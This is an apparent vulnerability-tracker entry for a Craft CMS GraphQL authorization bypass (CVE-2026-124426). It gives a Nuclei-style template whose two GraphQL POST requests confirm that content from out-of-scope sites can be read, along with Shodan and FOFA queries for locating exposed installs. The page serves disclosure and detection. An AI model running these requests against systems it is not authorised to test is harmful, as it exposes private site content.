CVE-2026-124426: Craft CMS 5.0.0 - 5.11.1 - Unauthenticated GraphQL Sites-Scope Bypass via Localized Field Eager-Loading

2026-11-29 PoC Public

Description

Craft CMS 5.0.0 through 5.11.1 contains a missing authorization caused by GraphQL eager-loading

plans not being restricted to the schema's Sites scope, letting unauthenticated attackers read

content of out-of-scope sites through the localized field, exploit requires a multi-site install

with a public GraphQL schema.

Details

CVE
CVE-2026-124426 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-124426

info:
  name: Craft CMS 5.0.0 - 5.11.1 - Unauthenticated GraphQL Sites-Scope Bypass via Localized Field Eager-Loading
  author: maulanawirawan
  severity: medium
  description: |
    Craft CMS 5.0.0 through 5.11.1 contains a missing authorization caused by GraphQL eager-loading
    plans not being restricted to the schema's Sites scope, letting unauthenticated attackers read
    content of out-of-scope sites through the localized field, exploit requires a multi-site install
    with a public GraphQL schema.
  impact: |
    Unauthenticated attackers can access content of sites that the public GraphQL schema is meant to
    exclude.
  remediation: |
    Update to version 5.11.2 or later.
  reference:
    - https://github.com/craftcms/cms/security/advisories/GHSA-mp59-9rf5-93wr
    - https://github.com/craftcms/cms/commit/5d50d39d1
    - https://www.vulncheck.com/advisories/craft-cms-before-5.11.2-graphql-sites-scope-bypass-via-localized-field
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-124426
    epss-score: 0.00782
    epss-percentile: 0.52539
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 2
    vendor: craftcms
    product: craft_cms
    shodan-query: 'http.component:"Craft CMS"'
    fofa-query: 'header="X-Powered-By: Craft CMS"'
  tags: cve,cve2026,craftcms,graphql,missing-authorization,unauth

flow: http(1) && http(2)

http:
  - method: POST
    path:
      - "{{BaseURL}}/actions/graphql/api"

    headers:
      Content-Type: application/json

    body: |
      {"query":"{ entries { localized(siteId: 2) { id } } }"}

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "X-Powered-By: Craft CMS"
        internal: true

      - type: word
        part: body
        words:
          - '"localized":[]'
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/actions/graphql/api"

    headers:
      Content-Type: application/json

    body: |
      {"query":"{ entries { localized { id siteId } } }"}

    matchers:
      - type: word
        part: body
        words:
          - '"localized":[{'
          - '"siteId":'
        condition: and
# digest: 4b0a00483046022100e8cd9e46c18ed235e8338b8f2cbfda2574b324e48e270732a6ac9e0a2d15b3fe022100bfe8b56491e1e08dc6cffdd887be8aacaf6f3feb19f9115fd5ad6d362ac37d86:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life